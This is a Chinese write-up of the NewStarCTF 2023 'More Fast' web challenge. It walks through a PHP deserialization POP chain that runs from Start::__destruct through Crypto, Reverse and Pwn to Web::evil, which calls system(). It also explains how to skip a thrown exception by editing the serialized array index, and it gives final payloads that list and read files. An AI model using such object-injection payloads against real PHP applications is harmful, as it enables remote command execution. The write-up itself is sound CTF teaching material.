2023Newstarctf week4 More Fast详解

题目:

 errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope"); 

第一步:确定切入点在于($this->func)($this->var);,给func传system,给var传ls /,如果执行的话就是system(‘ls /’)查根目录,那我们怎么执行呢?需要我们触发evil方法

第二步:我们注意到pwn类中的$this->obj->evil();可以触发evil()方法,那我们就可以把实例化的web类传给pen类的obj属性,想要真正触发evil()还需要触发__invoke()魔术方法。__invoke会在一个对象被当做函数调用时触发。

第三步:我们注意到reverse类中__get方法下有($this->func)();,如果我们把实例化的pwn类传给这里的func属性,且触发__get魔术方法,那就会导致一个对象被当作函数调用,从而触发pwn里的__invoke魔术方法。

第四步:接下来我们就需要继续往上找那里能触发__get(),访问一个不存在或不可访问的属性时,__get()方法会被调用。顺理成章发现在crypto类里面的$wel = $this->obj->good;这里会访问到属性obj里的good属性,我们知道reverse类里没有good属性,如果把实例化的reverse类传给crypto类里面的obj属性,在$this->obj->good;这一步就会因为访问不存在的属性而触发__get魔术方法

第五步:$wel = $this->obj->good;在__toString()方法下面,我们的目标是触发__tostring魔术方法,这时候我们注意到 __destruct() 魔术方法下的die($this->errMsg);,它会使用 die() 函数输出$this->errMsg 属性的值,并终止脚本的执行。这个输出就隐含了转换为字符串,最后我们只需要把实例化的crypto类传给start类就好了,然后对其进行序列化。

正常来说pop链如下:

$w=new Web();
$w->func="system";
$w->var="ls /";
$p=new Pwn();
$p->obj=$w;
$r=new Reverse();
$r->func=$p;
$c=new Crypto();
$c->obj=$r;
$s=new Start();
$s->errMsg=$c;
echo serialize($s);

结果是: O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}

但是实际上不会成功回显,因为这里题目最后两行还有throw new Exception("Nope");Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 5

我们要知道,销毁对象的过程通常称为垃圾回收(Garbage Collection)。PHP 的垃圾回收机制是自动的,会在对象不再被引用或无法访问时将其标记为垃圾,并最终回收内存。在对象被销毁时,如果定义了析构函数(即 __destruct() 魔术方法),则会自动调用该方法。

但是,当 PHP 脚本抛出异常并在异常处理过程中终止时,对象的销毁过程可能会受到影响。在这种情况下,PHP 不会自动销毁对象,也就无法调用对象的 __destruct() 方法。这种情况下,脚本的执行状态会从正常状态变为异常状态,并在异常处理过程中停止执行

例如,在题目代码中,throw new Exception("Nope"); 这行代码执行成功并抛出了异常(Fatal error)。在这些情况下,由于异常被抛出并导致脚本终止,$s 对象没有机会进行正常的销毁过程,因此 Start 类的 __destruct() 方法不会被触发。

在 PHP 中,垃圾回收机制是通过引用计数来实现的。当一个对象被创建时,它的引用计数为 1。每当有一个新的引用指向该对象时,引用计数就会增加 1。相反,当一个引用不再指向该对象时,引用计数就会减少 1。当对象的引用计数归零时,垃圾回收机制会将其标记为垃圾,并在适当的时候销毁对象。

在触发垃圾回收机制并销毁对象时,如果该对象定义了析构函数(即 __destruct() 方法),则会自动调用该方法。因此,在正常情况下,当对象的引用计数归零时,它会被销毁,并且 __destruct() 方法会被调用。

想要提前触发异常这里有三种方法:

  1. 使得数组对象为 NULL:当一个数组中的元素指向一个对象,而该数组被置为 NULL 时,会导致对象的引用计数减少。如果对象的引用计数归零,垃圾回收机制会将其标记为垃圾并销毁对象。同样地,如果对象定义了 __destruct() 方法,该方法也会被自动调用。

  2. 去掉序列化后最后一个中括号

  3. 修改属性数字

我们使用第一种方法来绕过异常

pop链变为:

$w=new Web();
$w->func="system";
$w->var="ls /";
$p=new Pwn();
$p->obj=$w;
$r=new Reverse();
$r->func=$p;
$c=new Crypto();
$c->obj=$r;
$s=new Start();
$s->errMsg=$c;
$a=array($s,0);
echo serialize($a);

结果是:

 a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:1;i:0;}

序列化过程中,第一个i:0; 表示第一个元素的键是整数 0(相当于a[0]),对应的值是对象 $s 的序列化结果。i:1; 表示第二个元素的键是整数 1(相当于a[1]),对应的值是整数 0 的序列化结果。我们把第二个i后面的值改为0

 a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}i:0;i:0;}

因为当反序列化的时候第一层接受到的是一个包含两个元素的数组,该数组第一个元素是一个对象,其类名为 Start,第二个元素是一个整数(0),把第二个i后面的值改为0后,使得数组对象为空。异常在这一层就抛出来,而已经序列化成功的$s(就整个pop链)正常执行。

2023Newstarctf week4 More Fast详解_第1张图片

记得空格用%20代替,接下来读文件,最终payload如下:

fast=a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat%20/f*";}}}}}i:0;i:0;}

2023Newstarctf week4 More Fast详解_第2张图片

你可能感兴趣的:(各种ctf的wp合集,安全,web安全,网络安全,安全威胁分析,网络攻击模型)